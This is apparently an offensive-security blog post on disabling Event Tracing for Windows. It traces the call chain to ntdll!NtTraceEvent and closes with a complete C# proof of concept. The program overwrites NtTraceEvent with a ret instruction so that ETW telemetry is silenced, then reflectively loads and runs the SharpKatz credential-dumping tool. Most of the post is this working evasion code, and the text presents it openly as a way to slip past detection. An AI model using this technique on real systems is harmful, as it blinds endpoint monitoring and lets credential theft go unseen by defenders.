Event Tracing for Windows (ETW)

Primer

According to Microsoft, Event Tracing for Windows (ETW) is a kernel-level mechanism in Windows OS that enables tracing and logging of kernel & user-application events. Whether you realize it or not, ETW is deeply integrated in the entirety of Windows Internals to detect malicious use of .NET assemblies.

Alternative ETW Patching

From an offensive perspective, we know that ETW events are sent from userland, and these ETW events are issued from within a process that we control. Just like any other security model that relies on user-application to behave correctly, this will never end up in the favor of security, which brings us to the famous one-byte patch of ETW/AMSI.

Traditional Patching

Majority of well-known ETW patching methods from MDSec & binarly.io suggest patching ntdll!ETWEventWrite. This is a trendy patching technique, so we want to avoid it.

Locating ETW Events

First, fire up IDA Pro to look for potential candidates to patch. We'll start by analyzing amsi.dll and look for AmsiScanBuffer from the Export Address Table (EAT).

In one of the branches, AmsiScanBuffer will end up calling some dodgy looking function like WPP_SF_qqDqq. Looking up this term from MSDN suggests that Windows Software Trace Preprocessor (WPP) is related to ETW.

Continue to trace the function call from WPP will soon leads us to TraceMessage.

As usual, we'll try seeking help from MSDN since we have no idea what the API mean.

Interesting enough, TraceMessage is an API that belongs in advapi32.dll.

Open up advapi32.dll in IDA and continue following the API calls until we eventually reach a syscall stub.

advapi32!TraceMessage ---> ntdll!EtwTraceMessage
ntdll!EtwTraceMessage ---> ntdll!EtwTraceMessageVa
ntdll!EtwTraceMessageVa ---> ntdll!NtTraceEvent

At this point onwards, ntdll!NtTraceEvent is the lowest level possible that we can reach from user-land before a syscall, so we will be patching this API call to neutralize ETW.

To verify the level of granular coverage we have by patching NtTraceEvent, look up the xrefs of the API. Notice how most of the caller function is associated with EtwEventWrite anyway, so we are better off by patching NtTraceEvent.

PoC | GTFO

ETWBlinder.cs
using System;
using System.IO;
using System.Reflection;
using System.Runtime.InteropServices;

namespace ETWBlinder
{
    class Win32
    {
        [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
        public static extern IntPtr LoadLibrary(
            string lpFileName);

        [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
        public static extern IntPtr GetProcAddress(
            IntPtr hModule,
            string procName);

        [DllImport("kernel32.dll")]
        public static extern bool VirtualProtect(
            IntPtr lpAddress,
            UIntPtr dwSize,
            MemoryProtection flNewProtect,
            out MemoryProtection lpflOldProtect);

        [Flags]
        public enum AllocationType
        {
            Commit = 0x1000,
            Reserve = 0x2000,
            Decommit = 0x4000,
            Release = 0x8000,
            Reset = 0x80000,
            Physical = 0x400000,
            TopDown = 0x100000,
            WriteWatch = 0x200000,
            LargePages = 0x20000000
        }

        [Flags]
        public enum MemoryProtection
        {
            Execute = 0x10,
            ExecuteRead = 0x20,
            ExecuteReadWrite = 0x40,
            ExecuteWriteCopy = 0x80,
            NoAccess = 0x01,
            ReadOnly = 0x02,
            ReadWrite = 0x04,
            WriteCopy = 0x08,
            GuardModifierflag = 0x100,
            NoCacheModifierflag = 0x200,
            WriteCombineModifierflag = 0x400
        }
    }

    class Program
    {
        static void Main(string[] args)
        {
            // get location of ntdll.dll
            var hModule = Win32.LoadLibrary("ntdll.dll");
            Console.WriteLine("\n[>] Resolving Addresses");
            Console.WriteLine("    |-> Found ntdll.dll: 0x{0:X}", hModule.ToInt64());

            // find NtTraceEvent
            var hfunction = Win32.GetProcAddress(
                hModule,
                "NtTraceEvent");
            Console.WriteLine("    |-> Found NtTraceEvent: 0x{0:X}", hfunction.ToInt64());

            // opcode for ret instruction 
            var patch = new byte[] { 0xC3 };

            // mark as RWX
            Win32.VirtualProtect(
                hfunction,
                (UIntPtr)patch.Length,
                Win32.MemoryProtection.ExecuteReadWrite,
                out var oldProtect);
            Console.WriteLine("\n[>] Patching Memory");
            Console.WriteLine("    |-> Changing Protection to RWX!");

            // write a ret
            Marshal.Copy(patch, 0, hfunction, patch.Length);
            Console.WriteLine("    |-> ETW Patched!");

            // restore memory
            Win32.VirtualProtect(
                hfunction,
                (UIntPtr)patch.Length,
                oldProtect,
                out _);
            Console.WriteLine("    |-> Restoring Protection!");

            Console.WriteLine("\n[>] Running .NET Executable...\n");

            var bytes = File.ReadAllBytes(@"C:\Users\JesusCries\Desktop\Tools\SharpKatz\SharpKatz\bin\x64\Release\SharpKatz.exe");

            // load the assembly
            var assembly = Assembly.Load(bytes);

            // invoke its entry point with arguments
            assembly.EntryPoint.Invoke(null, new object[] { args });
        }
    }
}

Extra Notes

At the point of writing, there seems to be another NT level API that is associated to ETW as well, known as NtTraceControl. However, it has lesser xrefs, meaning we will have lesser coverage by patching this.

Not to forget, most of the caller e.g. EtwRegisterSecurityProvider and EtwUserDescriptorType seems to be responsible of setting up ETW itself rather than writing ETW events, so patching this API will provide no advantage to us from an evasion perspective.

Last updated